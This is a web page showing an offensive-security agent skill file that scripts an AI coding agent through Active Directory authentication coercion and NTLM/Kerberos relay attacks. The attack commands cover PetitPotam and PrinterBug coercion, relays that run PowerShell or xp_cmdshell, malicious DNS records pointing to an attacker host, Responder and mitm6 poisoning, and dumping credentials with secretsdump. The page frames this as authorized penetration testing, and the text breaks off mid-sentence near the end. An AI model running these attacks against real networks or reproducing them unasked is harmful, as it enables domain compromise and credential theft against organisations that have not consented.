ad-auth-coercion-relay
Skill2 starsChanged 2 months agoMITView on GitHub
You are helping a penetration tester force remote systems to authenticate
In this repository255 other files it gives its agents.
- ad-acl-abuseSkill
- ad-adcs-access-and-relaySkill
- ad-adcs-persistenceSkill
- ad-adcs-template-abuseSkill
- ad-ad-discoverySkill
- ad-ad-persistenceSkill
- ad-credential-dumpingSkill
- ad-gpo-abuseSkill
- ad-kerberos-delegationSkill
- ad-kerberos-roastingSkill
- ad-kerberos-ticket-forgingSkill
- ad-pass-the-hashSkill
- ad-sccm-exploitationSkill
- ad-trust-attacksSkill
- hunt-ntlm-infoSkill
- offensive-active-directorySkill
- hunt-llm-aiSkill
- hunt-rag-vectorSkill
- offensive-ai-securitySkill
- cloud-iam-deepSkill
- hunt-cloud-misconfigSkill
- hunt-k8sSkill
- m365-entra-attackSkill
- network-container-escapesSkill
- offensive-cloudSkill
- offensive-container-escapeSkill
- offensive-k8s-attacksSkill
- okta-attackSkill
- vmware-vcenter-attackSkill
- credential-password-sprayingSkill
- hunt-brute-forceSkill
- hunt-forgot-passwordSkill
- post-exploit-credential-recoverySkill
- meme-coin-auditSkill
- offensive-crypto-attacksSkill
- web3-auditSkill
- ctfSkill
- advisory-miningSkill
- auth-bypassSkill
- code-injection-codegenSkill
- command-injectionSkill
- cross-pollinationSkill
- cve-hunting-methodologySkill
- decompression-bombSkill
- entity-expansionSkill
- fp-checkSkill
- method-clobberingSkill
- path-traversalSkill
- prototype-pollutionSkill
- recursion-dosSkill
- redosSkill
- sandbox-escapeSkill
- target-reconSkill
- web2-vuln-classesSkill
- evasion-av-edr-evasionSkill
- offensive-anti-forensicsSkill
- offensive-edr-evasionSkill
- offensive-keylogger-archSkill
- offensive-mitigationsSkill
- offensive-waf-bypassSkill
- The first 60 shown.
The file
Show its rules and text
We split this skill into the rules it gives an agent
38 rules. About 0 are common, 19 are distinctive, and 19 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈19
Distinctive · estimate
This author's own choices. Worth a look.
19
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 23
Check for ./engagement/ directory.
- Distinctive: line 25
When an engagement directory exists:
- Very specific: line 32
Call get_state_summary() from the state MCP server to read current engagement state.
- Distinctive: line 76
Ask the user to run it in their terminal
- Distinctive: line 77
Read output or wait for callback confirmation
- Distinctive: line 92
Before coercing, check what relay targets are available.
- Distinctive: line 137
If HTTP enrollment is enabled, NTLM relay to AD CS is viable (ESC8 path).
- Distinctive: line 165
When the relay target is only reachable through a SOCKS tunnel (chisel, ssh -D, ligolo SOCKS):
- Very specific: line 207
When coercing across a forest trust with ENABLE_TGT_DELEGATION, the listener argument must be a hostname (not an IP).
- Very specific: line 269
When a scheduled task or service script resolves attacker-controllable DNS names and authenticates with NTLM (e.g., PowerShell …
- Very specific: line 290
Use dnstool.py from krbrelayx — it handles the dnsRecord binary attribute format correctly.
- Very specific: line 312
If dnstool.py is not in $PATH, clone krbrelayx:
- Very specific: line 338
Start Responder (privileged — use start_process with privileged: true for shell-server, or hand off to operator):
- Distinctive: line 349
Port conflicts: If port 80 or 445 is already in use, stop the conflicting service first.
- Very specific: line 352
Responder is a daemon, not an interactive shell: After starting it with start_process(privileged=True), do NOT use send_command() or …
- Very specific: line 357
Start and forget: Call start_process(command="responder -I tun0 -v", privileged=True).
- Very specific: line 359
Verify it's running: Use a *separate* Bash command to confirm Responder bound its ports: ss -tlnp | grep -E ':(80|445|389)\s'
- Very specific: line 371
Run these via Bash, not via send_command() on the Responder session.
- Distinctive: line 372
Wait patiently: After planting the coercion trigger (SCF, desktop.ini, DNS record), wait 2–5 minutes, then check logs.
- Distinctive: line 380
two full cycles: before concluding the technique failed.
- Distinctive: line 389
Check logs by execing into the Responder container (see step 3 above).
- Distinctive: line 413
After capturing the hash, remove the injected DNS record:
- Distinctive: line 485
After obtaining certificate, authenticate via PKINIT:
- Distinctive: line 583
When relay is not feasible, capture NetNTLM hashes for offline cracking.
- Very specific: line 602
If LmCompatibilityLevel <= 1 (send LM & NTLM response):
- Distinctive: line 677
Remove the MIC (Message Integrity Code) from NTLM relay to bypass NTLM signing on the relay path (pre-2022 targets only):
- Distinctive: line 712
STOP and return to the orchestrator with:
- Distinctive: line 725
If signing is required, relay to AD CS (HTTP) or SMB instead.
- Very specific: line 750
Do NOT debug your own network stack: If ntlmrelayx is listening (confirmed via ss -tlnp | grep :445) and coercion reports success, the …
- Distinctive: line 755
Action: After 2 coercion methods fail to produce a relay connection:
- Distinctive: line 758
STOP and return: Do not continue trying coercion variants.
- Very specific: line 777
Default ms-DS-MachineAccountQuota is 10.
- Very specific: line 779
Use --delegate-access instead (modifies existing object)
- Distinctive: line 789
If any field is malformed, the DNS server ignores the record silently.
- Very specific: line 790
Fix: Use dnstool.py from krbrelayx — it reads the zone SOA to get the correct serial number and constructs valid binary blobs.
- Very specific: line 812
If a stale record exists, remove it first with -a remove, then re-add.
- Very specific: line 815
Verify the user has domain user privileges (default allows DNS record creation in DomainDnsZones)
- Very specific: line 817
Check LDAP connectivity: ldapsearch -H ldap://DC_IP -x -b "" -s base
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Authentication Coercion & Relay
You are helping a penetration tester force remote systems to authenticate to attacker-controlled listeners and relay or capture those credentials for privilege escalation and lateral movement. All testing is under explicit written authorization.
OPSEC exception — Kerberos-first does NOT apply: Coercion and relay
attacks are inherently about manipulating authentication protocols (NTLM
or Kerberos) at the network layer. The Kerberos-first convention from
CLAUDE.md does not apply to the attack itself, though tool setup and
enumeration commands still use -k -no-pass where possible.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[auth-coercion-relay] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Domain user credentials (some coercion methods work unauthenticated)
- Network position: same VLAN as targets (for poisoning) or route to targets (for RPC coercion)
- Tools:
ntlmrelayx.py(Impacket),Responder,PetitPotam,DFSCoerce, optionallykrbrelayx.py,mitm6,netexec
Kerberos-first workflow (for enumeration and setup commands only):
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Enumeration commands below use -k -no-passPrivileged Commands
Claude Code cannot execute sudo commands. The following tools require root
and must be handed off to the user for manual execution:
- ntlmrelayx.py — NTLM relay listener (binds SMB/HTTP/LDAP ports, needs raw sockets)
- responder — LLMNR/NBNS/mDNS/WPAD poisoning (needs raw sockets)
- krbrelayx.py — Kerberos relay listener (needs raw sockets)
- mitm6 — IPv6 DNS takeover (needs raw sockets)
- systemctl — stopping local services (e.g.,
systemctl stop smbdbefore relay)
Handoff protocol:
- Present the full command including
sudoto the user - Ask the user to run it in their terminal
- Read output or wait for callback confirmation
- Continue analysis based on results
Non-privileged commands Claude can execute directly:
- Coercion tools:
PetitPotam.py,DFSCoerce.py,printerbug.py,ShadowCoerce,CheeseOunce - DNS record injection:
dnstool.py(krbrelayx — uses LDAP, no raw sockets) - Enumeration:
netexec smb --gen-relay-list,certipy find,bloodyAD - Kerberos auth setup:
getTGT.py,export KRB5CCNAME - Post-relay exploitation:
getST.py,secretsdump.py,certipy auth
Batch all pending privileged commands (relay listener + poisoner + coercion trigger) so the user can start them in one pass.
Step 1: Assess Relay Feasibility
Before coercing, check what relay targets are available.
SMB Signing (Required for SMB Relay)
# Find hosts with SMB signing NOT required
nxc smb 10.10.10.0/24 --use-kcache --gen-relay-list relay-targets.txt
# Check specific hosts
nxc smb TARGET --use-kcache --signingSigning status by OS (defaults):
| OS | SMB Signing | Notes |
| Domain Controllers | Required | Always required |
| Server 2025 DC | Required | LDAP signing also required |
| Server 2022 23H2+ DC | Required | LDAP signing also required |
| Member servers 2019/2022 | Not required | Relay targets |
| Windows 10/11 pre-24H2 | Not required | Relay targets, WebClient installed |
| Windows 11 24H2+ | Required | New default |
LDAP Signing (Required for LDAP Relay)
# Check LDAP signing (nxc or manual)
nxc ldap DC.DOMAIN.LOCAL --use-kcache -M ldap-checker
# Manual check via LDAP query
ldapsearch -H ldap://DC.DOMAIN.LOCAL -x -s base \
-b "" "(objectClass=*)" supportedCapabilities- Pre-2025 DCs: LDAP signing typically NOT required (relay works)
- Server 2025 DCs: LDAP signing required by default (relay blocked)
- LDAPS (port 636) requires channel binding — relay typically fails
AD CS Enrollment (Required for Relay to ADCS)
# Find HTTP enrollment endpoints (vulnerable to relay)
nxc ldap DC.DOMAIN.LOCAL --use-kcache -M adcs
certipy find -k -no-pass -u user@DOMAIN.LOCAL -dc-ip DC_IP -stdout | grep "Web Enrollment"If HTTP enrollment is enabled, NTLM relay to AD CS is viable (ESC8 path).
WebClient Service (Enables HTTP-Based Coercion)
# Check WebClient status on targets (enables HTTP auth callback)
nxc smb 10.10.10.0/24 --use-kcache -M webdavWebClient converts SMB UNC paths to HTTP, enabling coercion over HTTP (which bypasses SMB signing requirements).
Step 2: Choose Attack Path
| Scenario | Path | Go To |
| SMB signing disabled on targets | Coercion -> NTLM relay to SMB | Step 3 + Step 4A |
| LDAP signing not enforced on DC | Coercion -> NTLM relay to LDAP | Step 3 + Step 4B |
| AD CS HTTP enrollment available | Coercion -> NTLM relay to AD CS | Step 3 + Step 4C |
| WebClient enabled on target | HTTP coercion -> relay to LDAP | Step 3 + Step 4B |
| Kerberos relay viable | Coercion -> Kerberos relay to AD CS | Step 3 + Step 5 |
| Server 2022+: MIC enforced, LDAP signing on | Coercion -> Kerberos relay | Step 3 + Step 5 |
| No relay feasible | Capture hashes -> crack offline | Step 6 |
| Scheduled task resolves attacker-controlled DNS with NTLM | DNS record injection -> capture | Step 3B + Step 6 |
| On same VLAN, no creds | LLMNR/NBNS poisoning -> capture | Step 7 |
Pivoted Relay (Target Behind SOCKS Tunnel)
When the relay target is only reachable through a SOCKS tunnel (chisel, ssh -D, ligolo SOCKS):
Do NOT use proxychains ntlmrelayx.py — proxychains wraps ALL socket
calls including the listener. The relay listener must bind locally for the
coerced machine to reach it.
Pattern — socat port forward for relay target only:
# Forward relay target through SOCKS (runs in background)
socat TCP-LISTEN:LOCAL_PORT,fork,reuseaddr \
SOCKS4A:127.0.0.1:TARGET_IP:TARGET_PORT,socksport=SOCKS_PORT &
# ntlmrelayx targets the local socat forward (listener stays local)
ntlmrelayx.py -t ldap://127.0.0.1:LOCAL_PORT -smb2support| Relay Target | socat | ntlmrelayx -t |
| LDAP (389) | TCP-LISTEN:10389 → TARGET:389 | ldap://127.0.0.1:10389 |
| LDAPS (636) | TCP-LISTEN:10636 → TARGET:636 | ldaps://127.0.0.1:10636 |
| ADCS (80) | TCP-LISTEN:10080 → CA:80 | http://127.0.0.1:10080/certsrv/certfnsh.asp |
If NTLM relay fails through pivot (Server 2022+ MIC enforcement), use krbrelayx (Step 5) — Kerberos relay is not subject to MIC validation.
Step 3: Authentication Coercion
Force a remote machine to authenticate back to your listener.
Coercion Method Reference
| Method | Protocol | Pipe | Tool | Requires Auth | Notes |
| PetitPotam | MS-EFSR | \PIPE\efsrpc / \PIPE\lsarpc | PetitPotam | No (unauthenticated on unpatched) | Most reliable for DCs |
| PrinterBug | MS-RPRN | \PIPE\spoolss | SpoolSample, printerbug.py | Yes | Requires Spooler running |
| DFSCoerce | MS-DFSNM | \PIPE\netdfs | DFSCoerce | Yes | Works on all DFS-enabled hosts |
| ShadowCoerce | MS-FSRVP | \PIPE\FssagentRpc | ShadowCoerce | Yes | VSS Agent service required |
| CheeseOunce | MS-EVEN | \PIPE\even | CheeseOunce | Yes | EventLog backup coercion |
Cross-Forest Coercion: Hostname Required
When coercing across a forest trust with ENABLE_TGT_DELEGATION, the listener
argument must be a hostname (not an IP). IP causes NTLM fallback; hostname
forces Kerberos authentication, which triggers TGT forwarding to the listener
DC. See trust-attacks Step 6 for the full TGT delegation coercion methodology.
NetExec coerce_plus (Automated Discovery)
# Test all coercion methods at once
nxc smb TARGET --use-kcache -M coerce_plus
# Test specific method
nxc smb TARGET --use-kcache -M coerce_plus -o METHOD=PetitPotam
nxc smb TARGET --use-kcache -M coerce_plus -o METHOD=PrinterBug
nxc smb TARGET --use-kcache -M coerce_plus -o METHOD=DFSCoercePetitPotam (MS-EFSR) — Most Reliable
# Unauthenticated (unpatched DCs only)
python3 PetitPotam.py LISTENER_IP TARGET_DC
# Authenticated (works on patched DCs via lsarpc pipe)
python3 PetitPotam.py -u user -p 'password' -d DOMAIN.LOCAL \
LISTENER_IP TARGET_DCPrinterBug (MS-RPRN)
# Check if Spooler is running
rpcdump.py DOMAIN/user@TARGET -k -no-pass | grep MS-RPRN
# Trigger callback
python3 printerbug.py DOMAIN/user@TARGET LISTENER_IP -k -no-pass
# Windows: SpoolSample.exe TARGET LISTENER_IPDFSCoerce (MS-DFSNM)
python3 dfscoerce.py -u user -d DOMAIN.LOCAL LISTENER_IP TARGETShadowCoerce (MS-FSRVP)
python3 shadowcoerce.py -u user -p password -d DOMAIN.LOCAL \
LISTENER_IP TARGETMSSQL xp_dirtree (UNC Path Injection)
# If you have MSSQL access
EXEC xp_dirtree '\\LISTENER_IP\share', 1, 1
EXEC master.dbo.xp_fileexist '\\LISTENER_IP\share\file'Step 3B: DNS Record Injection (Scheduled Task / Script Callback)
When a scheduled task or service script resolves attacker-controllable DNS
names and authenticates with NTLM (e.g., PowerShell Invoke-WebRequest
with -UseDefaultCredentials), inject a DNS A-record pointing to the
attacker and capture the callback.
When to use: Discovery finds a script or scheduled task that:
- Resolves DNS names matching a pattern (e.g.,
web*,monitor*) - Authenticates with NTLM (
-UseDefaultCredentials,net use, UNC paths) - Runs as a privileged user (service account, admin, etc.)
Common examples: monitoring scripts, health check scripts, backup scripts that connect to hosts by DNS name.
Requirements:
- Domain user credentials (default AD permissions allow creating DNS records)
dnstool.pyfrom the krbrelayx toolkit (handles AD DNS binary format correctly)- Responder or other NTLM capture tool
1. Add DNS A-Record
Use dnstool.py from krbrelayx — it handles the dnsRecord binary
attribute format correctly. Do NOT craft the binary record manually —
the format includes zone serial number, TTL byte order, and timestamp
fields that must match the zone's SOA record. Manual crafting is the
most common failure mode for this technique.
# Add A-record pointing to attacker IP
# -u: domain user creds (NTLM auth — no Kerberos needed)
# -a add: add a new record
# -r: record name (must match the pattern the script resolves)
# -d: IP address to point to (attacker)
# -t A: record type (A = IPv4 address)
python3 dnstool.py -u 'DOMAIN.LOCAL\user' -p 'password' DC_IP \
-a add -r 'RECORDNAME.DOMAIN.LOCAL' -d ATTACKER_IP -t A
# Example: script resolves web*.corp.local
python3 dnstool.py -u 'corp.local\svc_web' \
-p 'Password123' 10.10.10.1 \
-a add -r 'target.corp.local' -d ATTACKER_IP -t AIf dnstool.py is not in $PATH, clone krbrelayx:
git clone https://github.com/dirkjanm/krbrelayx.git /tmp/krbrelayx
python3 /tmp/krbrelayx/dnstool.py ...2. Verify DNS Resolution
Critical step — do not skip. Confirm the DC's DNS server actually serves the record, not just that it exists in LDAP. AD-integrated DNS can have records in LDAP that DNS ignores (wrong binary format, wrong container, stale zone transfer).
# Query the DC's DNS server directly
dig @DC_IP RECORDNAME.DOMAIN.LOCAL A +short
# Or with nslookup
nslookup RECORDNAME.DOMAIN.LOCAL DC_IPExpected: Returns attacker IP. If NXDOMAIN: See Troubleshooting → "DNS Record in LDAP but Not Served."
3. Start Listener
Start Responder (privileged — use start_process with privileged: true
for shell-server, or hand off to operator):
# Responder in capture mode on the correct interface
sudo responder -I tun0 -v
# Or minimal — HTTP only (if script uses HTTP)
sudo responder -I tun0 -vPort conflicts: If port 80 or 445 is already in use, stop the conflicting service first. Responder will fail silently if it can't bind.
Responder is a daemon, not an interactive shell. After starting it with
start_process(privileged=True), do NOT use send_command() or
read_output() to monitor it — Responder does not read stdin and its PTY
output is unreliable for monitoring. Instead:
- Start and forget: Call
start_process(command="responder -I tun0 -v", privileged=True). Note the session ID but do not interact with it. - Verify it's running: Use a separate Bash command to confirm
Responder bound its ports:
ss -tlnp | grep -E ':(80|445|389)\s' - Monitor via log files: Responder writes captured hashes to
/opt/Responder/logs/inside the Docker container. To check for captures, exec into the container:
Run these via Bash, not via# Find the container ID docker ps --filter ancestor=red-run-shell --format '{{.ID}}' # Check for captured hashes docker exec CONTAINER_ID ls /opt/Responder/logs/ docker exec CONTAINER_ID cat /opt/Responder/logs/Responder-Session.logsend_command()on the Responder session. - Wait patiently: After planting the coercion trigger (SCF, desktop.ini, DNS record), wait 2–5 minutes, then check logs. Do not burn turns polling the PTY session.
4. Wait for Callback
The script runs on its schedule (typically every 1–15 minutes). Monitor Responder log files (not PTY output) for NTLMv2 hashes. Allow at least two full cycles before concluding the technique failed.
Expected log output:
[HTTP] NTLMv2 Client : 10.10.10.5
[HTTP] NTLMv2 Username : DOMAIN\ServiceUser
[HTTP] NTLMv2 Hash : ServiceUser::DOMAIN:challenge:response:blobCheck logs by execing into the Responder container (see step 3 above).
5. Save and Return
Save the hash and return to the orchestrator:
# Find the Responder container
CONTAINER=$(docker ps --filter ancestor=red-run-shell --format '{{.ID}}' | head -1)
# Copy hashes out of the container
docker cp "$CONTAINER:/opt/Responder/logs/" /tmp/responder-logs/
cp /tmp/responder-logs/*NTLMv2*.txt \
engagement/evidence/<username>-ntlmv2-hash.txt
# Or copy directly from Responder session log
docker exec "$CONTAINER" grep -i ntlmv2 /opt/Responder/logs/Responder-Session.log \
> engagement/evidence/<username>-ntlmv2-hash.txtReturn with: hash file path, hashcat mode 5600, source username, routing recommendation to credential-recovery.
Cleanup
After capturing the hash, remove the injected DNS record:
python3 dnstool.py -u 'DOMAIN.LOCAL\user' -p 'password' DC_IP \
-a remove -r 'RECORDNAME.DOMAIN.LOCAL' -t AStep 4: NTLM Relay
Relay captured NTLM authentication to a target service.
Step 4A: Relay to SMB (Remote Code Execution)
Requires SMB signing not required on target.
# Start relay listener (target list from Step 1)
sudo ntlmrelayx.py -tf relay-targets.txt -smb2support
# With command execution
sudo ntlmrelayx.py -tf relay-targets.txt -smb2support \
-c "powershell -e BASE64_PAYLOAD"
# Interactive SOCKS proxy (access multiple services through relay)
sudo ntlmrelayx.py -tf relay-targets.txt -smb2support -socks
# Then:
proxychains smbclient //TARGET/C$ -U DOMAIN/MACHINE$ -no-pass
proxychains secretsdump.py DOMAIN/MACHINE$@TARGET -no-passStep 4B: Relay to LDAP (Machine Account / RBCD / ACL Abuse)
Requires LDAP signing not enforced on target DC. Relay over LDAPS requires no channel binding.
# Create machine account via relay (uses MachineAccountQuota)
sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL --add-computer \
FAKECOMPUTER$ Password123 -smb2support
# Set RBCD via relay (delegate from attacker machine to target)
sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL --delegate-access \
-smb2support
# Escalate user via relay (add user to group, modify ACLs)
sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL \
--escalate-user attacker_user -smb2supportAfter RBCD setup:
# Get service ticket via S4U
getST.py -spn cifs/TARGET.DOMAIN.LOCAL -impersonate Administrator \
DOMAIN.LOCAL/FAKECOMPUTER$:Password123
export KRB5CCNAME=Administrator@cifs_TARGET.DOMAIN.LOCAL@DOMAIN.LOCAL.ccache
secretsdump.py DOMAIN/Administrator@TARGET.DOMAIN.LOCAL -k -no-passStep 4C: Relay to AD CS (Certificate Enrollment)
Relay NTLM auth to AD CS HTTP enrollment to obtain a certificate.
# ntlmrelayx to AD CS
sudo ntlmrelayx.py -t http://CA.DOMAIN.LOCAL/certsrv/certfnsh.asp \
--adcs --template DomainController -smb2support
# certipy relay
certipy relay -target http://CA.DOMAIN.LOCAL/certsrv/certfnsh.asp \
-template DomainControllerAfter obtaining certificate, authenticate via PKINIT:
certipy auth -pfx dc.pfx -dc-ip DC_IP
# or
python3 gettgtpkinit.py -cert-pfx dc.pfx DOMAIN.LOCAL/DC$ dc.ccache
export KRB5CCNAME=dc.ccache
secretsdump.py DOMAIN/DC$@DC.DOMAIN.LOCAL -k -no-passFor full AD CS relay exploitation (ESC8/ESC11), route to adcs-access-and-relay.
Step 4D: Relay to MSSQL
# Relay to MSSQL for command execution
sudo ntlmrelayx.py -t mssql://SQL.DOMAIN.LOCAL -smb2support \
-q "EXEC xp_cmdshell 'whoami'"
# Interactive MSSQL via SOCKS
sudo ntlmrelayx.py -t mssql://SQL.DOMAIN.LOCAL -smb2support -socks
proxychains mssqlclient.py DOMAIN/MACHINE$@SQL.DOMAIN.LOCAL \
-windows-auth -no-passStep 5: Kerberos Relay
Relay Kerberos authentication instead of NTLM — avoids NTLM signing checks but limited to same-host relay (shares machine account key).
Kerberos Relay to AD CS (via LLMNR + Responder)
# Start Responder (only poison, don't serve)
python3 Responder.py -I eth0 -N PKI_SERVER_NETBIOS
# Start krbrelayx targeting AD CS HTTP enrollment
sudo python3 krbrelayx.py \
--target 'http://CA.DOMAIN.LOCAL/certsrv/' \
-ip ATTACKER_IP --adcs --template Machine -debugKerberos Relay to AD CS (via DNS + mitm6)
# Start krbrelayx
sudo krbrelayx.py \
--target http://CA.DOMAIN.LOCAL/certsrv/ \
-ip ATTACKER_IP --victim TARGET.DOMAIN.LOCAL \
--adcs --template Machine
# Start mitm6 for IPv6 DNS takeover
sudo mitm6 --domain DOMAIN.LOCAL \
--host-allowlist TARGET.DOMAIN.LOCAL \
--relay CA.DOMAIN.LOCAL -vAfter obtaining certificate:
python3 gettgtpkinit.py -pfx-base64 CERT_B64 \
DOMAIN.LOCAL/TARGET$ target.ccache
export KRB5CCNAME=target.ccache
secretsdump.py DOMAIN/TARGET$@TARGET.DOMAIN.LOCAL -k -no-passKerberos Relay to LDAP — NOT VIABLE
LDAP auto-negotiates signing with Kerberos auth. When krbrelayx relays a Kerberos AP-REQ to LDAP, the server sees Kerberos authentication and automatically enables LDAP signing — regardless of the server's signing policy. This breaks the relay. Unlike NTLM (where signing is optional and policy-dependent), Kerberos + LDAP always signs.
krbrelayx targets are limited to: ADCS HTTP enrollment (ESC8), SMB (if signing not required — rare), and other HTTP services. Never LDAP.
Kerberos Reflection (CVE-2025-33073)
Relay a machine's Kerberos auth back to itself via DNS record trick:
# Create special DNS record (authenticated)
dnstool.py -u 'DOMAIN.LOCAL\user' -p 'Password' DC_IP \
-a add -r 'target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d ATTACKER_IP
# Start krbrelayx for reflection
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
# Trigger coercion using the crafted hostname
petitpotam.py -d DOMAIN.LOCAL -u user -p 'Password' \
'target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
TARGET.DOMAIN.LOCALStep 6: Hash Capture (No Relay Available)
When relay is not feasible, capture NetNTLM hashes for offline cracking.
Do NOT crack hashes in this skill. Save captured hashes to
engagement/evidence/ and return to the orchestrator with the hash file
path, hash type (NTLMv1 mode 5500 or NTLMv2 mode 5600), and a routing
recommendation to credential-recovery. The orchestrator will spawn
the credential-recovery-agent for offline cracking.
Responder (Capture Mode)
# Capture NetNTLMv2 hashes
sudo responder -I eth0 -wfrd -P -v
# Hashes saved to /usr/share/responder/logs/NTLMv1 Downgrade (When LmCompatibilityLevel Allows)
If LmCompatibilityLevel <= 1 (send LM & NTLM response):
# Set challenge to known value for rainbow table lookup
# Edit Responder.conf: Challenge = 1122334455667788
sudo responder -I eth0 --lm --disable-ess
# NTLMv1 hashes with magic challenge can be cracked via shuck.sh
# Save hash file and route to credential-recovery (hashcat mode 5500)Coercion for Hash Capture (Without Relay)
# Start Responder, then coerce
sudo responder -I eth0 -v
python3 PetitPotam.py ATTACKER_IP TARGET_DC
# Captured machine$ NetNTLM hash -> save and return for crackingAfter Capture
Save the hash to engagement/evidence/<target>-ntlmv2-hash.txt and return
to the orchestrator with:
- Hash file path
- Hash type and hashcat mode (NTLMv2 = 5600, NTLMv1 = 5500)
- Source username and domain
- Routing recommendation: credential-recovery
Step 7: Name Resolution Poisoning (LLMNR/NBNS/WPAD)
Poison multicast name resolution to capture hashes from machines requesting nonexistent hostnames.
Responder (LLMNR + NBNS + WPAD)
# Full poisoning mode
sudo responder -I eth0 -wfrd -P -v
# Passive analysis first (see what's being requested)
sudo responder -I eth0 -Amitm6 (IPv6 DNS Takeover)
More stealthy than LLMNR poisoning — exploits IPv6 auto-configuration.
# IPv6 DNS takeover -> relay to LDAP
sudo mitm6 -i eth0 -d DOMAIN.LOCAL
# Combine with ntlmrelayx
sudo ntlmrelayx.py -6 -wh ATTACKER_IP \
-t ldaps://DC.DOMAIN.LOCAL --add-computer -smb2supportInveigh (Windows Alternative)
# PowerShell
Import-Module .\Inveigh.psd1
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
# InveighZero (C# binary)
.\Inveigh.exeStep 8: Advanced Relay Techniques
Drop the MIC (CVE-2019-1040)
Patched on Server 2022+ (KB5005413+). MIC enforcement is mandatory —
--remove-michas no effect. Route to Kerberos relay (Step 5) instead.
Remove the MIC (Message Integrity Code) from NTLM relay to bypass NTLM signing on the relay path (pre-2022 targets only):
# Remove MIC and escalate via LDAP
sudo ntlmrelayx.py --remove-mic --escalate-user attacker \
-t ldap://DC.DOMAIN.LOCAL -smb2support
# Remove MIC and set RBCD
sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL --remove-mic \
--delegate-access -smb2supportGhost Potato (CVE-2019-1384)
Local privilege escalation via NTLM relay with DCOM:
sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL \
--gpotato-startup 'C:\Windows\System32\cmd.exe /c net localgroup Administrators attacker /add'NTLM Reflection (CVE-2025-33073)
Relay a machine's NTLM auth back to itself via DNS TXT record:
dnstool.py -u 'DOMAIN.LOCAL\user' -p 'Password' DC_IP \
-a add -r 'target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d ATTACKER_IP
ntlmrelayx.py -t smb://TARGET.DOMAIN.LOCAL -smb2supportStep 9: Escalate or Pivot
STOP and return to the orchestrator with:
- What was achieved (RCE, creds, file read, etc.)
- New credentials, access, or pivot paths discovered
- Context for next steps (platform, access method, working payloads)
Troubleshooting
Relay Fails with "LDAP Signing Required"
LDAP relay requires signing NOT enforced. Check:
nxc ldap DC.DOMAIN.LOCAL --use-kcache -M ldap-checkerIf signing is required, relay to AD CS (HTTP) or SMB instead.
Coercion Returns "Access Denied"
- PetitPotam unauthenticated was patched — use authenticated mode
- PrinterBug requires Spooler service running — check with rpcdump
- Try alternate coercion methods (DFSCoerce, ShadowCoerce)
- WebClient-based HTTP coercion may bypass SMB-level blocks
Coercion Succeeds but No Relay Connection
Symptoms: coercion tool reports "Exploit Success" or "VULNERABLE" but ntlmrelayx log shows zero incoming connections ("waiting for connections" and nothing else).
This means the target's callback connection is not reaching you. The coercion RPC succeeded (the API call returned OK) but the target cannot or will not connect outbound to your listener.
Common causes (all on the target side — not your attackbox):
- Windows Firewall on target blocks outbound SMB to non-DC addresses
- Network segmentation / firewall between target and attacker
- Lab environments often restrict outbound SMB
- Target's SMB client prefers Kerberos and won't fall back to NTLM
Do NOT debug your own network stack. If ntlmrelayx is listening
(confirmed via ss -tlnp | grep :445) and coercion reports success,
the problem is outbound from the target. Running tcpdump, iptables
checks, nftables dumps, or netcat tests on the attackbox will not help.
Action: After 2 coercion methods fail to produce a relay connection:
add_blocked(technique="ntlm-coercion-relay", reason="coercion succeeds but callback never arrives — outbound SMB likely blocked on target")- Message the lead with the finding — they may have network context
- STOP and return. Do not continue trying coercion variants.
Alternative paths the lead may consider:
- WebDAV coercion (HTTP callback on port 80) bypasses SMB firewall rules but requires WebClient service running on target
- Kerberos relay (krbrelayx) avoids NTLM entirely
- Shadow Credentials or RBCD via direct LDAP write (if you have write perms, no coercion needed)
- Crack the Kerberoast hash and use constrained delegation
NTLM Relay Rejected on Server 2022+ (MIC Enforcement)
Symptoms: relay completes NTLM handshake but target rejects auth.
--remove-mic has no effect. Server 2022+ enforces MIC (CVE-2019-1040
patched). Fix: Use Kerberos relay (Step 5) — not subject to MIC. Do not
retry ntlmrelayx variants.
MachineAccountQuota is 0
Default ms-DS-MachineAccountQuota is 10. If set to 0:
- Cannot create machine accounts via relay
- Use
--delegate-accessinstead (modifies existing object) - Or relay to AD CS for certificate-based escalation
DNS Record in LDAP but Not Served
The record appears in LDAP (ldapsearch shows it in DomainDnsZones) but
dig @DC_IP returns NXDOMAIN. Causes:
- Wrong binary format — the
dnsRecordattribute uses a Microsoft- specific binary encoding with zone serial, TTL, and timestamp fields. If any field is malformed, the DNS server ignores the record silently. Fix: Usednstool.pyfrom krbrelayx — it reads the zone SOA to get the correct serial number and constructs valid binary blobs. Never craft the binary record manually vialdapmodifyor Python LDAP. - Wrong container — AD DNS records live under
DC=<zone>,CN=MicrosoftDNS,DC=DomainDnsZones,DC=<domain>,.... Records placed elsewhere (e.g., underCN=MicrosoftDNS,CN=System) are not served by the DNS server.dnstool.pyuses the correct container by default. - DNS cache / zone transfer delay — AD-integrated DNS zones update
